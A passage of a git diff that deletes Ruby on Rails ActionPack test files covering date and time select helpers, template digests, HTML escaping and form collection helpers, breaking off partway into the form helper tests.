- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
- end
-
- def test_datetime_select_with_html_options
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
- end
-
- def test_date_select_should_not_change_passed_options_hash
- @post = Post.new
- @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- date_select(@post, :updated_at, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_datetime_select_should_not_change_passed_options_hash
- @post = Post.new
- @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- datetime_select(@post, :updated_at, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_time_select_should_not_change_passed_options_hash
- @post = Post.new
- @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- time_select(@post, :updated_at, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_select_date_should_not_change_passed_options_hash
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- select_date(Date.today, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_select_datetime_should_not_change_passed_options_hash
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- select_datetime(Time.now, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_select_time_should_not_change_passed_options_hash
- options = {
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }
- select_time(Time.now, options)
-
- # note: the literal hash is intentional to show that the actual options hash isn't modified
- # don't change this!
- assert_equal({
- :order => [ :year, :month, :day ],
- :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
- :discard_type => false,
- :include_blank => false,
- :ignore_date => false,
- :include_seconds => true
- }, options)
- end
-
- def test_select_html_safety
- assert select_day(16).html_safe?
- assert select_month(8).html_safe?
- assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
- assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
- assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-
- assert select_minute(8, :use_hidden => true).html_safe?
- assert select_month(8, :prompt => 'Choose month').html_safe?
-
- assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
- assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
- end
-
- def test_object_select_html_safety
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?
- assert time_select("post", "written_on", :ignore_date => true).html_safe?
- end
-
- def test_time_tag_with_date
- date = Date.today
- expected = "<time datetime=\"#{date.rfc3339}\">#{I18n.l(date, :format => :long)}</time>"
- assert_equal expected, time_tag(date)
- end
-
- def test_time_tag_with_time
- time = Time.now
- expected = "<time datetime=\"#{time.xmlschema}\">#{I18n.l(time, :format => :long)}</time>"
- assert_equal expected, time_tag(time)
- end
-
- def test_time_tag_pubdate_option
- assert_match(/<time.*pubdate="pubdate">.*<\/time>/, time_tag(Time.now, :pubdate => true))
- end
-
- def test_time_tag_with_given_text
- assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
- end
-
- def test_time_tag_with_given_block
- assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
- end
-
- def test_time_tag_with_different_format
- time = Time.now
- expected = "<time datetime=\"#{time.xmlschema}\">#{I18n.l(time, :format => :short)}</time>"
- assert_equal expected, time_tag(time, :format => :short)
- end
-
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
-end
diff --git a/actionpack/test/template/digestor_test.rb b/actionpack/test/template/digestor_test.rb
deleted file mode 100644
index f493c8201d..0000000000
--- a/actionpack/test/template/digestor_test.rb
+++ /dev/null
@@ -1,170 +0,0 @@
-require 'abstract_unit'
-require 'fileutils'
-
-class FixtureTemplate
- attr_reader :source
-
- def initialize(template_path)
- @source = File.read(template_path)
- rescue Errno::ENOENT
- raise ActionView::MissingTemplate.new([], "", [], true, [])
- end
-end
-
-class FixtureFinder
- FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
-
- def find(logical_name, keys, partial, options)
- FixtureTemplate.new("digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
- end
-end
-
-class TemplateDigestorTest < ActionView::TestCase
- def setup
- @cwd = Dir.pwd
- @tmp_dir = Dir.mktmpdir
-
- FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
- Dir.chdir @tmp_dir
- end
-
- def teardown
- Dir.chdir @cwd
- FileUtils.rm_r @tmp_dir
- ActionView::Digestor.cache.clear
- end
-
- def test_top_level_change_reflected
- assert_digest_difference("messages/show") do
- change_template("messages/show")
- end
- end
-
- def test_explicit_dependency
- assert_digest_difference("messages/show") do
- change_template("messages/_message")
- end
- end
-
- def test_second_level_dependency
- assert_digest_difference("messages/show") do
- change_template("comments/_comments")
- end
- end
-
- def test_second_level_dependency_within_same_directory
- assert_digest_difference("messages/show") do
- change_template("messages/_header")
- end
- end
-
- def test_third_level_dependency
- assert_digest_difference("messages/show") do
- change_template("comments/_comment")
- end
- end
-
- def test_directory_depth_dependency
- assert_digest_difference("level/below/index") do
- change_template("level/below/_header")
- end
- end
-
- def test_logging_of_missing_template
- assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
- digest("messages/show")
- end
- end
-
- def test_nested_template_directory
- assert_digest_difference("messages/show") do
- change_template("messages/actions/_move")
- end
- end
-
- def test_dont_generate_a_digest_for_missing_templates
- assert_equal '', digest("nothing/there")
- end
-
- def test_collection_dependency
- assert_digest_difference("messages/index") do
- change_template("messages/_message")
- end
-
- assert_digest_difference("messages/index") do
- change_template("events/_event")
- end
- end
-
- def test_collection_derived_from_record_dependency
- assert_digest_difference("messages/show") do
- change_template("events/_event")
- end
- end
-
- def test_extra_whitespace_in_render_partial
- assert_digest_difference("messages/edit") do
- change_template("messages/_form")
- end
- end
-
- def test_extra_whitespace_in_render_named_partial
- assert_digest_difference("messages/edit") do
- change_template("messages/_header")
- end
- end
-
- def test_extra_whitespace_in_render_record
- assert_digest_difference("messages/edit") do
- change_template("messages/_message")
- end
- end
-
- def test_extra_whitespace_in_render_with_parenthesis
- assert_digest_difference("messages/edit") do
- change_template("events/_event")
- end
- end
-
- def test_old_style_hash_in_render_invocation
- assert_digest_difference("messages/edit") do
- change_template("comments/_comment")
- end
- end
-
- private
- def assert_logged(message)
- old_logger = ActionView::Base.logger
- log = StringIO.new
- ActionView::Base.logger = Logger.new(log)
-
- begin
- yield
-
- log.rewind
- assert_match message, log.read
- ensure
- ActionView::Base.logger = old_logger
- end
- end
-
- def assert_digest_difference(template_name)
- previous_digest = digest(template_name)
- ActionView::Digestor.cache.clear
-
- yield
-
- assert previous_digest != digest(template_name), "digest didn't change"
- ActionView::Digestor.cache.clear
- end
-
- def digest(template_name)
- ActionView::Digestor.digest(template_name, :html, FixtureFinder.new)
- end
-
- def change_template(template_name)
- File.open("digestor/#{template_name}.html.erb", "w") do |f|
- f.write "\nTHIS WAS CHANGED!"
- end
- end
-end
diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb
deleted file mode 100644
index 3e5b029cea..0000000000
--- a/actionpack/test/template/erb_util_test.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-require 'abstract_unit'
-
-class ErbUtilTest < ActiveSupport::TestCase
- include ERB::Util
-
- ERB::Util::HTML_ESCAPE.each do |given, expected|
- define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
- assert_equal expected, html_escape(given)
- end
- end
-
- ERB::Util::JSON_ESCAPE.each do |given, expected|
- define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
- assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
- end
- end
-
- def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
- value = json_escape("asdf")
- assert !value.html_safe?
- end
-
- def test_json_escape_returns_safe_strings_when_passed_safe_strings
- value = json_escape("asdf".html_safe)
- assert value.html_safe?
- end
-
- def test_html_escape_is_html_safe
- escaped = h("<p>")
- assert_equal "&lt;p&gt;", escaped
- assert escaped.html_safe?
- end
-
- def test_html_escape_passes_html_escpe_unmodified
- escaped = h("<p>".html_safe)
- assert_equal "<p>", escaped
- assert escaped.html_safe?
- end
-
- def test_rest_in_ascii
- (0..127).to_a.map {|int| int.chr }.each do |chr|
- next if %('"&<>).include?(chr)
- assert_equal chr, html_escape(chr)
- end
- end
-
- def test_html_escape_once
- assert_equal '1 &lt;&gt;&amp;&quot;&#39; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
- end
-
- def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
- value = html_escape_once('1 < 2 &amp; 3')
- assert !value.html_safe?
- end
-
- def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
- value = html_escape_once('1 < 2 &amp; 3'.html_safe)
- assert value.html_safe?
- end
-end
diff --git a/actionpack/test/template/form_collections_helper_test.rb b/actionpack/test/template/form_collections_helper_test.rb
deleted file mode 100644
index c73e80ed88..0000000000
--- a/actionpack/test/template/form_collections_helper_test.rb
+++ /dev/null
@@ -1,336 +0,0 @@
-require 'abstract_unit'
-
-class Category < Struct.new(:id, :name)
-end
-
-class FormCollectionsHelperTest < ActionView::TestCase
- def assert_no_select(selector, value = nil)
- assert_select(selector, :text => value, :count => 0)
- end
-
- def with_collection_radio_buttons(*args, &block)
- @output_buffer = collection_radio_buttons(*args, &block)
- end
-
- def with_collection_check_boxes(*args, &block)
- @output_buffer = collection_check_boxes(*args, &block)
- end
-
- # COLLECTION RADIO BUTTONS
- test 'collection radio accepts a collection and generate inputs from value method' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
- assert_select 'input[type=radio][value=true]#user_active_true'
- assert_select 'input[type=radio][value=false]#user_active_false'
- end
-
- test 'collection radio accepts a collection and generate inputs from label method' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
- assert_select 'label[for=user_active_true]', 'true'
- assert_select 'label[for=user_active_false]', 'false'
- end
-
- test 'collection radio handles camelized collection values for labels correctly' do
- with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
-
- assert_select 'label[for=user_active_yes]', 'Yes'
- assert_select 'label[for=user_active_no]', 'No'
- end
-
- test 'colection radio should sanitize collection values for labels correctly' do
- with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
- assert_select 'label[for=user_name_099]', '$0.99'
- assert_select 'label[for=user_name_199]', '$1.99'
- end
-
- test 'collection radio accepts checked item' do
- with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
-
- assert_select 'input[type=radio][value=true][checked=checked]'
- assert_no_select 'input[type=radio][value=false][checked=checked]'
- end
-
- test 'collection radio accepts multiple disabled items' do
- collection = [[1, true], [0, false], [2, 'other']]
- with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
-
- assert_select 'input[type=radio][value=true][disabled=disabled]'
- assert_select 'input[type=radio][value=false][disabled=disabled]'
- assert_no_select 'input[type=radio][value=other][disabled=disabled]'
- end
-
- test 'collection radio accepts single disable item' do
- collection = [[1, true], [0, false]]
- with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
-
- assert_select 'input[type=radio][value=true][disabled=disabled]'
- assert_no_select 'input[type=radio][value=false][disabled=disabled]'
- end
-
- test 'collection radio accepts html options as input' do
- collection = [[1, true], [0, false]]
- with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
-
- assert_select 'input[type=radio][value=true].special-radio#user_active_true'
- assert_select 'input[type=radio][value=false].special-radio#user_active_false'
- end
-
- test 'collection radio does not wrap input inside the label' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
- assert_select 'input[type=radio] + label'
- assert_no_select 'label input'
- end
-
- test 'collection radio accepts a block to render the label as radio button wrapper' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
- b.label { b.radio_button }
- end
-
- assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
- assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
- end
-
- test 'collection radio accepts a block to change the order of label and radio button' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
- b.label + b.radio_button
- end
-
- assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
- assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
- end
-
- test 'collection radio with block helpers accept extra html options' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
- end
-
- assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
- assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
- end
-
- test 'collection radio with block helpers allows access to current text and value' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:"data-value" => b.value) { b.radio_button + b.text }
- end
-
- assert_select 'label[for=user_active_true][data-value=true]', 'true' do
- assert_select 'input#user_active_true[type=radio]'
- end
- assert_select 'label[for=user_active_false][data-value=false]', 'false' do
- assert_select 'input#user_active_false[type=radio]'
- end
- end
-
- test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
- with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:class => b.object) { b.radio_button + b.text }
- end
-
- assert_select 'label.true[for=user_active_true]', 'true' do
- assert_select 'input#user_active_true[type=radio]'
- end
- assert_select 'label.false[for=user_active_false]', 'false' do
- assert_select 'input#user_active_false[type=radio]'
- end
- end
-
- test 'collection radio buttons with fields for' do
- collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
- @output_buffer = fields_for(:post) do |p|
- p.collection_radio_buttons :category_id, collection, :id, :name
- end
-
- assert_select 'input#post_category_id_1[type=radio][value=1]'
- assert_select 'input#post_category_id_2[type=radio][value=2]'
-
- assert_select 'label[for=post_category_id_1]', 'Category 1'
- assert_select 'label[for=post_category_id_2]', 'Category 2'
- end
-
- # COLLECTION CHECK BOXES
- test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
- collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
- with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
- assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
- assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
- end
-
- test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
- collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
- with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
- assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
- end
-
- test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
- collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
- with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
- assert_select 'label[for=user_category_ids_1]', 'Category 1'
- assert_select 'label[for=user_category_ids_2]', 'Category 2'
- end
-
- test 'collection check boxes handles camelized collection values for labels correctly' do
- with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
-
- assert_select 'label[for=user_active_yes]', 'Yes'
- assert_select 'label[for=user_active_no]', 'No'
- end
-
- test 'colection check box should sanitize collection values for labels correctly' do
- with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
- assert_select 'label[for=user_name_099]', '$0.99'
- assert_select 'label[for=user_name_199]', '$1.99'
- end
-
- test 'collection check boxes accepts selected values as :checked option' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
-
- assert_select 'input[type=checkbox][value=1][checked=checked]'
- assert_select 'input[type=checkbox][value=3][checked=checked]'
- assert_no_select 'input[type=checkbox][value=2][checked=checked]'
- end
-
- test 'collection check boxes accepts selected string values as :checked option' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
-
- assert_select 'input[type=checkbox][value=1][checked=checked]'
- assert_select 'input[type=checkbox][value=3][checked=checked]'
- assert_no_select 'input[type=checkbox][value=2][checked=checked]'
- end
-
- test 'collection check boxes accepts a single checked value' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
-
- assert_select 'input[type=checkbox][value=3][checked=checked]'
- assert_no_select 'input[type=checkbox][value=1][checked=checked]'
- assert_no_select 'input[type=checkbox][value=2][checked=checked]'
- end
-
- test 'collection check boxes accepts selected values as :checked option and override the model values' do
- user = Struct.new(:category_ids).new(2)
- collection = (1..3).map{|i| [i, "Category #{i}"] }
-
- @output_buffer = fields_for(:user, user) do |p|
- p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
- end
-
- assert_select 'input[type=checkbox][value=1][checked=checked]'
- assert_select 'input[type=checkbox][value=3][checked=checked]'
- assert_no_select 'input[type=checkbox][value=2][checked=checked]'
- end
-
- test 'collection check boxes accepts multiple disabled items' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
-
- assert_select 'input[type=checkbox][value=1][disabled=disabled]'
- assert_select 'input[type=checkbox][value=3][disabled=disabled]'
- assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
- end
-
- test 'collection check boxes accepts single disable item' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
-
- assert_select 'input[type=checkbox][value=1][disabled=disabled]'
- assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
- assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
- end
-
- test 'collection check boxes accepts a proc to disabled items' do
- collection = (1..3).map{|i| [i, "Category #{i}"] }
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
-
- assert_select 'input[type=checkbox][value=1][disabled=disabled]'
- assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
- assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
- end
-
- test 'collection check boxes accepts html options' do
- collection = [[1, 'Category 1'], [2, 'Category 2']]
- with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
-
- assert_select 'input.check[type=checkbox][value=1]'
- assert_select 'input.check[type=checkbox][value=2]'
- end
-
- test 'collection check boxes with fields for' do
- collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
- @output_buffer = fields_for(:post) do |p|
- p.collection_check_boxes :category_ids, collection, :id, :name
- end
-
- assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
- assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
-
- assert_select 'label[for=post_category_ids_1]', 'Category 1'
- assert_select 'label[for=post_category_ids_2]', 'Category 2'
- end
-
- test 'collection check boxes does not wrap input inside the label' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
-
- assert_select 'input[type=checkbox] + label'
- assert_no_select 'label input'
- end
-
- test 'collection check boxes accepts a block to render the label as check box wrapper' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
- b.label { b.check_box }
- end
-
- assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
- assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
- end
-
- test 'collection check boxes accepts a block to change the order of label and check box' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
- b.label + b.check_box
- end
-
- assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
- assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
- end
-
- test 'collection check boxes with block helpers accept extra html options' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:class => "check_box") + b.check_box(:class => "check_box")
- end
-
- assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
- assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
- end
-
- test 'collection check boxes with block helpers allows access to current text and value' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:"data-value" => b.value) { b.check_box + b.text }
- end
-
- assert_select 'label[for=user_active_true][data-value=true]', 'true' do
- assert_select 'input#user_active_true[type=checkbox]'
- end
- assert_select 'label[for=user_active_false][data-value=false]', 'false' do
- assert_select 'input#user_active_false[type=checkbox]'
- end
- end
-
- test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
- with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
- b.label(:class => b.object) { b.check_box + b.text }
- end
-
- assert_select 'label.true[for=user_active_true]', 'true' do
- assert_select 'input#user_active_true[type=checkbox]'
- end
- assert_select 'label.false[for=user_active_false]', 'false' do
- assert_select 'input#user_active_false[type=checkbox]'
- end
- end
-end
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
deleted file mode 100644
index c730e3ab74..0000000000
--- a/actionpack/test/template/form_helper_test.rb
+++ /dev/null
@@ -1,2732 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class FormHelperTest < ActionView::TestCase
- include RenderERBUtils
-
- tests ActionView::Helpers::FormHelper
-
- def form_for(*)
- @output_buffer = super
- end
-
- def setup
- super
-
- # Create "label" locale for testing I18n label helpers
- I18n.backend.store_translations 'label', {
- :activemodel => {
- :attributes => {
- :post => {
- :cost => "Total cost"
- }
- }
- },
- :helpers => {
- :label => {
- :post => {
- :body => "Write entire text here",
- :color => {
